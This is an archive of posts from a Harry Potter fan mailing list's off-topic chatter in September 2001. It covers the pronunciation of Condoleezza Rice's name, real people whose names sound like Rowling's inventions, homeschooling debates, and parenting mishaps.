> con-d at -LEE-z@ 
> 
> (the @s are schwas, i.e. lazy vowels, which say "uh", as in the o in
> "lemon"). So, for Brits, "Conda-leeza" is fairly accurate.
> 
> ::grin::
> 
> --John
> 

Erm, at the risk of sounding very stupid, what (or where?) is 
Condoleeza?

Catherine
> ____________________________________________
> 
> "It's our choices that show what we truly are, far more than our
> abilities." --Albus Dumbledore
> 
> John Walton -- john at w...
> ____________________________________________




From keegan at mcn.org  Wed Sep 26 16:19:12 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Wed, 26 Sep 2001 09:19:12 -0700
Subject: [HPFGU-OTChatter] Re:
  Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9osu38+agou@eGroups.com>
References: <B7D789F0.1AF3%john@walton.to>
Message-ID: <4.2.0.58.20010926091757.00a4aa90@mail.mcn.org>

At 04:00 PM 9/26/01 +0000, you wrote:
>--- In HPFGU-OTChatter at y..., John Walton <john at w...> wrote:
> > on 9/26/01 1:24 PM, dfrankiswork at n... at dfrankiswork at n...
> > wrote:> > > How is Condoleeza pronounced?
> > >
> > > BBC newsreaders say Conda-Leeza, but I had imagined Condolly-
>Etza, or> > even Condollay-Aytha
> >
> > Just kidding, it's "Condoleezza", with two Zs, is in fact pronounced
> > Erm, at the risk of sounding very stupid, what (or where?) is
>Condoleeza?
>
>Catherine

She's the US National Security Advisor.

The other Catherine




From dfrankiswork at netscape.net  Wed Sep 26 16:22:05 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 16:22:05 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <B7D789F0.1AF3%john@walton.to>
Message-ID: <9osvbd+8aa5@eGroups.com>

--- In HPFGU-OTChatter at y..., John Walton <john at w...> wrote:

> 
> Just kidding, it's "Condoleezza", with two Zs, 

As a mere Brit, I'm reluctant to put my head over the parapet on this 
one, but every time I've seen the name it has only one Z, as in Amy.

> is in fact pronounced
> 
> con-d at -LEE-z@ 
> 
> (the @s are schwas, i.e. lazy vowels, which say "uh", as in the o in
> "lemon"). So, for Brits, "Conda-leeza" is fairly accurate.
> 

Well, thanks to Yahoo, you have answered a different quest
ion to the one I asked, but it was in my mind: if you type an 
emailname-at-domain name in a message, does Yahoo automatically turn 
it into emailname-at-d... in webview, encoded as a telephone number 
for the Andromeda Galaxy?  The answer appears to be 'Yes'.

Catherine: Condoleeza Rice is National Security Adviser, or is that 
Advisor, to GWB.

The hot question exercising us on this side of the pond is, is it 
sexist to describe her as young?

David




From jenP_97 at yahoo.com  Wed Sep 26 16:31:47 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 26 Sep 2001 16:31:47 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9osvbd+8aa5@eGroups.com>
Message-ID: <9osvtj+ocmd@eGroups.com>

--- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:

> The hot question exercising us on this side of the pond is, is it 
> sexist to describe her as young?
> 
> David

No, David... that wouldn't be sexist... that would be ageist. ;)

Jen

Ps.  sorry for the one-liner





From aiz24 at hotmail.com  Wed Sep 26 16:26:53 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 26 Sep 2001 16:26:53 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <4.2.0.58.20010926091757.00a4aa90@mail.mcn.org>
Message-ID: <9osvkd+3chk@eGroups.com>

It would be a great JKR name, wouldn't it?

Amy




From john at walton.to  Wed Sep 26 16:47:46 2001
From: john at walton.to (John Walton)
Date: Wed, 26 Sep 2001 17:47:46 +0100
Subject: [HPFGU-OTChatter] Re: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9osvbd+8aa5@eGroups.com>
Message-ID: <B7D7C542.1B29%john@walton.to>

on 9/26/01 5:22 PM, dfrankiswork at netscape.net at dfrankiswork at netscape.net
wrote:

>> Just kidding, it's "Condoleezza", with two Zs,
> 
> As a mere Brit, I'm reluctant to put my head over the parapet on this
> one, but every time I've seen the name it has only one Z, as in Amy.

I guess before she was semi-famous, everyone thought "Two Zs? Naw...can't
be...that looks silly." But 'tis true... just search www.whitehouse.gov for
"Condoleeza" and then "Condoleezza".

Alternatively, click on the link below.

http://www.whitehouse.gov/news/releases/2001/07/20010722-7.html

--Joohhn

____________________________________________

Don't join the book burners. Do not think you are going to conceal thoughts
by concealing evidence that they ever existed. -Dwight D Eisenhower

John Walton -- john at walton.to
____________________________________________




From blpurdom at yahoo.com  Wed Sep 26 17:04:56 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 26 Sep 2001 17:04:56 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9osvkd+3chk@eGroups.com>
Message-ID: <9ot1ro+shio@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> It would be a great JKR name, wouldn't it?
> 
> Amy

Has a fun game already been played on this list wherein folks try to 
come up with names of real people (preferably famous ones, so we know 
you're not making them up <g>) who sound as though they were named by 
JKR?

--Barb





From aiz24 at hotmail.com  Wed Sep 26 17:25:33 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 26 Sep 2001 17:25:33 -0000
Subject: Home Schooling - long, long, long
In-Reply-To: <9os7v5+sqv9@eGroups.com>
Message-ID: <9ot32d+107ab@eGroups.com>

It's been really interesting reading about people's experiences of 
schooling and homeschooling.  

David wrote:

>That said, you are partly making the best of a poor schooling 
>situation (and Tabouli got the worst of it).  

Very true.  It all depends on what your options are.  I would send my 
children to school if it looked like the best option for them.  It 
sounds as if the system has done right by your kids.

>Also, I have doubts about our ability as parents to contribute much 
>on the teaching front, even with specialisation in a network.  We 
>have had plenty of posts here pointing out that contrary to popular 
>opinion, teaching is a very difficult and skilled job.  

Also true.  My dh and I are both very good teachers, but just the same 
we would no doubt discover many areas of study in which we're 
clueless.  One advantage of hs-ing is that we could help our child 
seek out someone who can teach him/her calculus or Spanish or Asian 
history (or horseback riding or metalwork for that matter), whereas 
with school you're generally stuck with the teacher who's assigned to 
that year and subject even if the teacher's a bad one.

There's another issue there, though, which is at bottom the reason I 
see myself homeschooling.  I am essentially an "unschooler"; I would 
take a very unstructured approach, not "school at home" (do your 
workbooks for an hour, Thursday's math day, Monday's English, etc.).  
The unschooling approach is often called "child-centered learning," 
but I think it's a bit of a misnomer; it is really knowledge-centered 
learning, following the logic of the subject rather than the arbitrary 
structures given to subjects in most schools.  E.g., the necessary 
(for school purposes) but arbitrary dividing lines between subjects:  
did you ever have a really interesting question in chemistry class and 
get told, "that's physics"?  A hs-er could just follow that road right 
into physics instead of waiting 2 years until he/she "got to" physics 
in the curriculum.

Some things might be best learned through workbooks or lectures, but 
hs-ing allows the flexibility to use workbooks and lectures when 
they're appropriate and scrap them when they're not.  You as the 
parent are not expected to be the fount of knowledge; you're more a 
resource person.  An ounce of experience is frequently worth a pound 
of schooling, and experiences are plentiful if you have the time and 
freedom to pursue them.  E.g. instead of my teaching my child civics 
out of a book, or out of my own head, we could go to the state house, 
go to aldermen's meetings, read biographies of the founders of the 
country (happy sigh remembering a child's biography of Patrick Henry I 
loved as a kid), etc.  We sit in the gallery and see the reporters at 
work, which leads to an interest in journalism, and the next thing the 
child wants to visit a newspaper office, create his/her own 
neighborhood paper, interview the journalists, etc. . . there is a 
natural but unpredictable structure to knowledge, and we tend to learn 
best when allowed to pursue the questions that currently interest us. 
 What did Twain say?  Never let your schooling interfere with your 
education . . .  

It reminds me of something I once read that said that the best 
education happened in kindergarten and graduate school, not any of the 
years in between.  In graduate school you regain the freedom you 
haven't had since age 6:  you follow a subject that interests you in 
whatever direction it leads.  The more schools allow kids to do that, 
the better, IMO; but it is very hard for schools to allow much of that 
freedom, because they are trying to teach 20 kids in a classroom (if 
you're lucky--often it's 40), just for starters.

Unschooling is "child-centered" in this sense, the sense of allowing 
the child's passions to dictate direction.  The hs-ed kids I know have 
all learned to read, do math, practice science, etc. without anyone 
ordaining a curriculum, but simply because they followed their own 
curiosity--but again, it might not work like that with all kids.

Well, I could go on like this all day and still only give the barest 
of explanations; I've been thinking about these issues for years.  See 
the writings of John Holt for a more vivid description than I could 
give . . .

>  Most families here simply can't afford home schooling.  They need 
two incomes to 
> survive and, while that isn't always incompatible with hs-ing (one 
> family I knew were musicians who could schedule concerts, music 
> lessons, and hs-ing around each other), for most it is.  

I'm lucky there too.  My dh's hours aren't very flexible, but mine 
are, and neither of us has a 9-to-5, punch-the-clock kind of job.  We 
could both work full-time and still homeschool a child, at least once 
he/she was old enough to be home alone a few hours at a time.

I do know people who both work 9-to-5 who make it work, but it must be 
very tough.

Amy Z




From rosewoof at earthlink.net  Wed Sep 26 18:00:26 2001
From: rosewoof at earthlink.net (Rose Woofenden)
Date: Wed, 26 Sep 2001 11:00:26 -0700
Subject: [HPFGU-OTChatter] Home Schooling-Long
In-Reply-To: <9ot32d+107ab@eGroups.com>
References: <9os7v5+sqv9@eGroups.com>
Message-ID: <5.1.0.14.0.20010926103254.00a100c0@earthlink.net>


>Amy Z said: A bunch of interesting and wonderful stuff about 
>home/un-schooling.


I totally agree with all that you said, Amy. I've been un-schooled for all 
my life. I'm 15 now. I have 6 siblings, all of whom have been un-schooled. 
One is now out of college having done wonderfully there. Another is now in 
his freshman year at college and doing great.  None of us ever went to 
public school. My sister had her first day of "School" when she was 18!

One of the most frequent comments that I get when the subject of 
home-schooling (without even getting into un schooling...) is: "But how do 
you learn anything without going to school?" I have to hold my tongue and 
not say "How do you learn anything going *to* school?" I like to refer to 
public school as "forced learning".  I don't like the idea of "You are 
going to learn this, this way, and in this time frame. You learn the same 
as every other student in this school. And that is going to work for you." 
It seems to me that in school our diversity gets forgotten. We all learn 
different ways, and we need to be taught different ways.  I feel that 
un-schooling give much more freedom to do that.

I take a few classes with a private tutor. (I decided that I didn't want to 
do algebra on my own, and wanted a teacher. My parents were very open to 
that.) I was very lucky to find a guy that goes to much church that is a 
wonderful teacher. We have classed of 3-7 people. We meet in his home once 
a week to go over what we are studying. He is a *wonderful* teacher. He 
loves to do it, and is very good at it. What I really like a lot about the 
class is that it isn't just him teaching us, the little students who don't 
know anything. It's a group, all of us, sharing what we know, and helping 
each other learn. Often on of the students will help another student with 
something that they don't understand, because the way we see it might be 
easier for them to understand.  I really love it.

Other then that, we don't do any formal schooling. I think that leaves life 
more open for us to learn. Not having to spend my days in school leaves me 
open to go out and learn real life things. My family travels, we've taken 
trips across the country during the school year. No better way to learn 
geography then doing that. My dad coordinates workshops on Solar, Wind and 
Water power. Those happen every October, since I'm not stuck in school I 
get to help/participate in those. I've learned so much about electricity 
through those. I know how to wire up a solar energy system, and have done 
my own fair share of trouble-shooting on our own systems.  That is an 
experience that I would never been able to have if I were in school.

Another really valuable thing that I see in un-schooling, especially with a 
large family, is that everyone teaches each other. The little kids learn 
from the older kids, and the older kids get to cement things in their 
brains by teaching it to the younger ones. That lightens the load on my 
parents as well.  My brother and I learned to read at almost the same time, 
although he is older then me by a few years. :-) We helped to teach each 
other. My older brother and I helped to teach all four of our younger 
siblings. My little sister learned to read when she was six. We had taught 
her the basics, and she had just decided that she wanted to learn to read, 
and took off. At the time my youngest brother who is two years older then 
her, was struggling with his reading. There were times when my sister would 
be helping her older brother learn to read.

Really liked what you said about the parents being a resource, Amy. That is 
how it is in our family as well. If they can't teach us something. They 
make it possible for us to learn it, one way or another. They find a book, 
or a friend, or someone who can teach us.

I don't know who is was, (Mark Twain?) that said something along the lines 
of, 'the only thing that you need to know is how to learn, and you can do 
anything." I think that is right on. I have the natural instinct of how to 
learn, I can go wherever I want to go.

Well... there is always more to say on this subject, but I have to get off 
the computer and get some reading done for the literature class that I take 
with my tutor. (We get to read all those fun old Greek books. Very fun.)



-Rose


Current book:  The Moon By Night- Madaline L'Engle
Current Song playing:  The Eagles- Take it Easy
Last Words Spoken by me: "Is Nora ready to go yet?









[Non-text portions of this message have been removed]




From heidit at netbox.com  Wed Sep 26 18:01:44 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Wed, 26 Sep 2001 14:01:44 -0400
Subject: [HPFGU-OTChatter] Re: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DCA@MIAEXCH1>

I recently copresented with a Cantwell J Muckenfuss - and he became a
ministry official in Surfeit of Curses.

-----Original Message-----
From: blpurdom at yahoo.com <blpurdom at yahoo.com>
To: HPFGU-OTChatter at yahoogroups.com <HPFGU-OTChatter at yahoogroups.com>
Sent: Wed Sep 26 13:04:56 2001
Subject: [HPFGU-OTChatter] Re: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa

Real-To: blpurdom at yahoo.com 
--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> It would be a great JKR name, wouldn't it?
> 
> Amy

Has a fun game already been played on this list wherein folks try to 
come up with names of real people (preferably famous ones, so we know 
you're not making them up <g>) who sound as though they were named by 
JKR?

--Barb




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From dfrankiswork at netscape.net  Wed Sep 26 19:35:40 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 19:35:40 -0000
Subject: Condoleezza and sexism
In-Reply-To: <9osvtj+ocmd@eGroups.com>
Message-ID: <9otamc+5co2@eGroups.com>

--- In HPFGU-OTChatter at y..., "Jennifer Piersol" <jenP_97 at y...> wrote:
> --- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:
> 
> > The hot question exercising us on this side of the pond is, is it 
> > sexist to describe her as young?
> > 
> > David
> 
> No, David... that wouldn't be sexist... that would be ageist. ;)
> 
> Jen
> 

Aha, therein lies the subtlety: the theory is that a *man* of her age 
in a position of power would not be described as young - women are 
only supposed to get to the top after spending more time getting 
there.

So the subtext is: we don't expect women to rise as fast as men.

In Joy's undercover wizard contest I suggested Newt Gingrich sounded 
like a wizarding name.  I wonder how he would fit in with the 
Ministry of Magic?

David the anarchist




From michelleapostolides at lineone.net  Wed Sep 26 19:33:53 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Wed, 26 Sep 2001 20:33:53 +0100
Subject: Chat going on
Message-ID: <00f201c146c2$2e2ebfe0$b73c7bd5@tmeltcds>

At 20.33 UK time Wednesday. 

Anyone want to join us ?

Michelle




From cynthiaanncoe at home.com  Wed Sep 26 19:48:55 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Wed, 26 Sep 2001 19:48:55 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DCA@MIAEXCH1>
Message-ID: <9otbf7+bf77@eGroups.com>

Barb wrote: Has a fun game already been played on this list wherein 
folks try to 
> come up with names of real people (preferably famous ones, so we 
know 
> you're not making them up <g>) who sound as though they were named 
by 
> JKR?

I think Boutros Boutros Galli (sp?) is surely a candidate.  We had a 
humor contest in my area in which you had to think up a nickname for 
famous people.  The one that sticks in my mind is Boutros 
Boutros "Boutros" Galli.

Cindy "Cindy"




From jenP_97 at yahoo.com  Wed Sep 26 19:53:49 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 26 Sep 2001 19:53:49 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9otbf7+bf77@eGroups.com>
Message-ID: <9otbod+mb5p@eGroups.com>

--- In HPFGU-OTChatter at y..., cynthiaanncoe at h... wrote:
> Barb wrote: Has a fun game already been played on this list wherein 
> folks try to 
> > come up with names of real people (preferably famous ones, so we 
> know 
> > you're not making them up <g>) who sound as though they were named 
> by 
> > JKR?

My great great uncle's name was Clarence Commodore Spitznagle.  His 
mother was a fan of Commodore Perry.  Of course, we just called him 
Uncle Bus, which is almost as weird. ;)

Jen





From macloudt at yahoo.co.uk  Wed Sep 26 20:50:03 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Wed, 26 Sep 2001 20:50:03 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9otbod+mb5p@eGroups.com>
Message-ID: <9otf1r+hef7@eGroups.com>

--- In HPFGU-OTChatter at y..., "Jennifer Piersol" <jenP_97 at y...> wrote:

> 
> My great great uncle's name was Clarence Commodore Spitznagle.  His 
> mother was a fan of Commodore Perry.  Of course, we just called him 
> Uncle Bus, which is almost as weird. ;)
> 
> Jen

My Dad has 4 sisters (one now deceased) who, in typical Catholic 
Dutch tradition in the 1920s, have 4 Christian names.  The 2 oldest 
are Bernadina Wilemina Maria Hubertina and Augusta Antoinetta Maria 
Hubertina.

Being Catholics, the use of Maria is obvious, and apparently St. 
Hubert is a Patron Saint against rabid dog bites.  Don't ask, I have 
no idea...

Fond as I am of my relatives, I am *so very grateful* that the 
tradition of naming children after aunts, uncles and grandparents was 
dropped for my generation!

Mary Ann...just 2 names, but perfectly happy with 'em!




From aiz24 at hotmail.com  Wed Sep 26 22:31:33 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 26 Sep 2001 22:31:33 -0000
Subject: Condoleezza and sexism
In-Reply-To: <9otamc+5co2@eGroups.com>
Message-ID: <9otl05+ar11@eGroups.com>

David wrote:
 
> Aha, therein lies the subtlety: the theory is that a *man* of her 
age 
> in a position of power would not be described as young - women are 
> only supposed to get to the top after spending more time getting 
> there.

I follow you, it could conceivably be sexist.  How old =is= she?  IIRC 
she is quite young for any National Security Adviser, male or female. 
 Bush is pretty young for a president, for that matter, though not as 
young as Clinton was when he took office.  Did British news refer to 
Clinton as young?

Amy




From jenP_97 at yahoo.com  Wed Sep 26 22:49:24 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 26 Sep 2001 22:49:24 -0000
Subject: Condoleezza and sexism
In-Reply-To: <9otl05+ar11@eGroups.com>
Message-ID: <9otm1k+t5en@eGroups.com>

I don't know why David's *trying* to be called sexist... but 
apparently he is.

And Amy seems to agree...

;)

I suppose that she is young... And I suppose you could make a case 
for the argument that people would only notice that she is young 
because she is a woman.  However, I seem to remember a lot of similar 
discussion about how young George Stephanopolous was when he started 
working for Clinton.  Maybe it's just that everyone is so unused to 
seeing people working in the White House (or politics in general, for 
that matter) that aren't 5 years from retirement.  

Jen 




From foxmoth at qnet.com  Wed Sep 26 22:59:29 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Wed, 26 Sep 2001 22:59:29 -0000
Subject: What box?
In-Reply-To: <9osdpf+j2qt@eGroups.com>
Message-ID: <9otmkh+8jc9@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> > Can someone explain the origins of the phrase "thinking 
> Dear Mr. Anglia,
> 
> I think the box is the elder brother of the envelope, as in 
"pushing 
> the envelope."

Actually, "the envelope" has to do with engineering. Airplanes 
function within certain limits of airspeed, g forces, etc.  These 
form "the envelope" Since this is not an exact science, 
aerospace engineers provide a margin of safety by designing 
the airplane to perform somewhat beyond the published limits. 
Pilots are aware of this, and some will try to get more 
performance out of their craft than it is officially capable of. This 
is the  risky practice of "pushing the envelope."

Pippin




From aiz24 at hotmail.com  Wed Sep 26 23:03:43 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 26 Sep 2001 23:03:43 -0000
Subject: Condoleezza and sexism
In-Reply-To: <9otm1k+t5en@eGroups.com>
Message-ID: <9otmsf+vfo3@eGroups.com>

Jen wrote:

> I suppose that she is young... And I suppose you could make a case 
> for the argument that people would only notice that she is young 
> because she is a woman.  However, I seem to remember a lot of 
similar 
> discussion about how young George Stephanopolous was when he started 
> working for Clinton.  

Yeah, that's right.  And he *was* really young, and looked younger 
still.  I just looked her up and she will be 47 come November 14 (we 
could write to her suggesting that a good birthday present would be to 
go to HP&theSS).  I also got a clue to how she got her career launched 
so early:  she got her B.A. at age 19.  For those who don't know, 
going through college at a younger age than normal is *very* unusual 
in the U.S. (except for homeschoolers, <g>).

I do hope they call her Ms. Rice, in any case.  Calling her by her 
first name *would* be rude and probably sexist.

Amy




From jenP_97 at yahoo.com  Wed Sep 26 23:04:49 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 26 Sep 2001 23:04:49 -0000
Subject: I will never have Desitin in my house again! (LONG)
Message-ID: <9otmuh+ikrf@eGroups.com>

Okay, okay.  I've had to wait 24 hours to calm down enough to write 
this down, and as it's starting to get funny, I had to tell people.  
My mother-in-law and sisters-in-law thought it was hilarious, so I 
thought I'd spread it around.

About a month ago, I was cleaning up the house during Ginger's nap 
time... it was completely silent in her room, so I assumed that she 
was sleeping.  Well, that lasted for a couple of hours, and then 
gradually, I started hearing the doorknob turning.  However, she's 
been able to open her door for almost 3-4 months now, so I was a 
little unsure of why she was unable to this time.  I asked her if she 
needed some help, she said yes, so I opened her door.  What a shock - 
there was desitin EVERYWHERE.  For those of you who don't have kids 
and don't remember the stuff from when you were little, Desitin is 
that sticky fish-oil-based white cream used to soothe diaper rash... 
and it has a very distinctive smell.  Anyway, she'd smeared it all up 
and down her arms, legs and face, and it was smeared all over her 
table and chairs, her floor, her chalkboard, 4 of her BOOKS! (this 
really got to me, because I have this "you will not deface your books 
in any way" mentality from my childhood), and of course, on her 
doorknob and door from trying to open it with the stuff all over her 
hands.  Well, eventually it got cleaned up (even though it's *still* 
smeared in the seat of my mother's old wicker rocking chair... what a 
nightmare), and I decided that since there were a lot of old books in 
her room that *my* mother used to read to me when I was little, I'd 
remove the books to a central location and fill her shelves with her 
toys instead.

Well, fast-forward to yesterday... and guess what.  *Somehow* I had 
missed a half-empty desitin tube... she said later that she'd found 
it on the floor, so I'm assuming that it was under her dresser or 
something... 

I had been napping on the couch this time (haven't been getting much 
sleep lately), when I hear her softly calling to me, "Mommy - my butt 
hurts!"  I get up and open the door, and there she is covered in 
desitin AGAIN.  Not only that, but she had taken it upon herself to 
remove her (poopy) diaper and "self medicate" as it were... smearing 
desitin all over a dirty bottom.  Not only THAT, but because her 
diaper was off, she'd made a little puddle on the floor, which she'd 
apparently stepped in, because there were little wet and greasy 
footprints all over her painted wood floor (My sister's response to 
that: Thank goodness you tore up her carpet).  If this had been the 
first time, I might have been calm enough to take it in stride and 
move on... but this time, I just lost it.  I crumpled into a heap on 
the floor and just bawled and bawled... only crying harder when my 
daughter would ask me "What's wrong with you, Mommy?"

Ugh.

Anyway, it's *kind* of funny now, and I'm hoping that the more I tell 
it, the funnier it will get, and the less angry I get the next time 
something like that happens.

Jen (who thinks her reaction was in half due to PMS, but still 
refuses to EVER buy Desitin again.)




From fyregirl at cfl.rr.com  Wed Sep 26 23:26:51 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Wed, 26 Sep 2001 23:26:51 -0000
Subject: I will never have Desitin in my house again! (LONG)
In-Reply-To: <9otmuh+ikrf@eGroups.com>
Message-ID: <9oto7r+5l8r@eGroups.com>

<snip desitin rant>

Jen,

My deepest sympathies.  If I knew where you were I'd give you a hug 
in person, but since I don't, Here's a virtual one for you!

<****************H     U     G**************>

love Michelle :)




From fyregirl at cfl.rr.com  Wed Sep 26 23:28:10 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Wed, 26 Sep 2001 23:28:10 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa and JKR names
In-Reply-To: <B7D789F0.1AF3%john@walton.to>
Message-ID: <9otoaa+cfag@eGroups.com>

I'm a girl.  I think she's young.  Ok, I'm 24, but still ... everyone 
I work with says I'm the baby.  Uh, that's the youngest .... not 
acting like a baby :)

And as far as funny real life names go ....

Dick Butkis.

Nuff said.

Michelle :)




From blpurdom at yahoo.com  Thu Sep 27 00:01:33 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 27 Sep 2001 00:01:33 -0000
Subject: I will never have Desitin in my house again! (LONG)
In-Reply-To: <9otmuh+ikrf@eGroups.com>
Message-ID: <9otq8t+5do3@eGroups.com>

Oh, you poor thing.  A very similar thing happened to my sister when 
her daughter was about three.  Her then-husband was a salesman for 
Johnson & Johnson and so they had closets and closets of J&J products 
in the house--including Vaseline.  One day when she was supposed to 
be having her nap (and my sister was trying to take a nap as well, 
since she was eight months pregant and tired from chasing a toddler 
around) my niece got into some of the Vaseline.  She emptied THREE 
containers of the stuff by smearing it on herself and most of the 
living room.  The carpet was completely impregnated with the stuff 
and it was all over the upholstery, tables, lamps, etc.  Not as 
smelly as Desitin, but still a nightmare.  I think my sister would 
have to be paid quite a lot of money to get within a mile of Vaseline 
now.

On the up side, the former three-year-old terror is now a brilliant, 
beautiful 25-year-old college graduate working for the Department of 
Education in Washington, DC.  If I find out any time soon that she 
and her husband are expecting a baby, I'm tempted to give them gift-
wrapped Vaseline...

--Barb





From pbarhug at earthlink.net  Thu Sep 27 00:57:32 2001
From: pbarhug at earthlink.net (Pam Hugonnet)
Date: Wed, 26 Sep 2001 20:57:32 -0400
Subject: [HPFGU-OTChatter] I will never have Desitin in my house again! 
 (LONG)
References: <9otmuh+ikrf@eGroups.com>
Message-ID: <3BB2797C.C861DB59@earthlink.net>

Jennifer Piersol wrote:

> Okay, okay.  I've had to wait 24 hours to calm down enough to write
> this down, and as it's starting to get funny, I had to tell people.
> My mother-in-law and sisters-in-law thought it was hilarious, so I
> thought I'd spread it around.

    If you pardon the pun, that is ; )
 <snip of a very funny story>

Now that I/m done wiping my eyes from laughing...

I'm sorry, dear.  Just think of it as a Mommy-baptism.  It happens to us
all--and you will eventually manage to get the goop out of every nook
and cranny.

My  oldest daughter emptied a *big* box of baby powder all over her room
when she was about 18 months old.  It was nap time (the most productive
time of a toddler's day BTW) and I noticed an awful lot of what I
thought was dust drifting around in the air.  So I figured I'd better
get on top of the house cleaning : )  But when I when upstairs I saw
clouds of white stuff billowing from under Maddie's door.  Thinking it
was smoke, I flung the door open to find a very dusty room and a very
happy little girl.   It took me weeks to clean it all up.  I still come
across powder in the crevices of the dresser drawers.

Not to mention the time my then-three year old decided to repaint the
basement...
So far my son hasn't done a big one yet, but I'm just giving him time...

Hang in there.  In 25 years, when she calls you to cry about what the
baby has just done, it'll be your turn to laugh.

drpam
veteran of three children




[Non-text portions of this message have been removed]




From heidit at netbox.com  Thu Sep 27 01:27:43 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Wed, 26 Sep 2001 21:27:43 -0400
Subject: [HPFGU-OTChatter] Re: easy fasts
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DCC@MIAEXCH1>

A little late, I know, but I did want to wish everyone who observes Yom
Kippur an easy fast and a serene Day of Attonement.
        



From heidit at netbox.com  Thu Sep 27 01:30:39 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Wed, 26 Sep 2001 21:30:39 -0400
Subject: [HPFGU-OTChatter] Re: easy fasts
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DCD@MIAEXCH1>

A little late, I know, but I did want to wish everyone who observes Yom
Kippur an easy fast and a serene Day of Attonement.
        



From ebonyink at hotmail.com  Thu Sep 27 02:16:45 2001
From: ebonyink at hotmail.com (Ebony)
Date: Thu, 27 Sep 2001 02:16:45 -0000
Subject: Unsure About Homeschooling
Message-ID: <9ou26d+sn3v@eGroups.com>

Have followed the posts about homeschooling with interest.

Here's a quick question...

What do we do with the other 90% of the kids whose parents can not 
(or in many cases will not) feasibly home school their children?

Don't get me wrong.  Homeschooling is a great idea for certain 
families and in certain circumstances.  As ed policy, I have numerous 
issues with it.

Can post more this weekend, off-list or on-list, if there is 
interest.  
 
--Eb (who dated a homeschooler briefly in high school and has two 
homeschooled cousins)




From catlady at wicca.net  Thu Sep 27 02:19:06 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Thu, 27 Sep 2001 02:19:06 -0000
Subject: Names (was: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9ot1ro+shio@eGroups.com>
Message-ID: <9ou2aq+63uo@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:

> Has a fun game already been played on this list wherein folks try
> to come up with names of real people (preferably famous ones, so we
> know you're not making them up <g>) who sound as though they were 
> named by JKR?

The previous President Bush's spokesman, Marlon Fitzwater. A marlin 
is a kind of water, and a fish had BETTER fit water.

One of Nixon's conspirators, Egil Krogh, which was pronounced 
Eagle Crow.

The then-husband of the best girlfriend of girlfriend of mine was 
named Russell "Rusty" Holzer Jr, and Tim referred to him as 
'corroded pistol container'. I was reminded of this by 
something on local news today about the Chamber of Commerce which 
mentioned one "Russell J. Hammer or Rusty Hammer".





From meboriqua at aol.com  Thu Sep 27 02:49:39 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Thu, 27 Sep 2001 02:49:39 -0000
Subject: Unsure About Homeschooling
In-Reply-To: <9ou26d+sn3v@eGroups.com>
Message-ID: <9ou443+9msk@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ebony" <ebonyink at h...> wrote:
 
> Don't get me wrong.  Homeschooling is a great idea for certain 
> families and in certain circumstances.  As ed policy, I have 
numerous issues with it.>

I may have missed the beginning of this thread, so sorry if I repeat 
anything that has been said before.  I've had to let OT slide a bit 
the last few weeks, and am now trying to catch up.  

I, too am very unsure about homeschooling.  I may be biased because I 
am a public high school teacher, but I know personally I could never 
ever ever ever ever ever ever ever ever ever ever ever ever ever ever 
stay home all day with either or both of my parents.  I love my 
parents but even now as a 31 year old I can only take small doses; if 
I was a teenager I'd go mad being home with them every day.  I think I 
might have also been a bit biased because the only homeschooling 
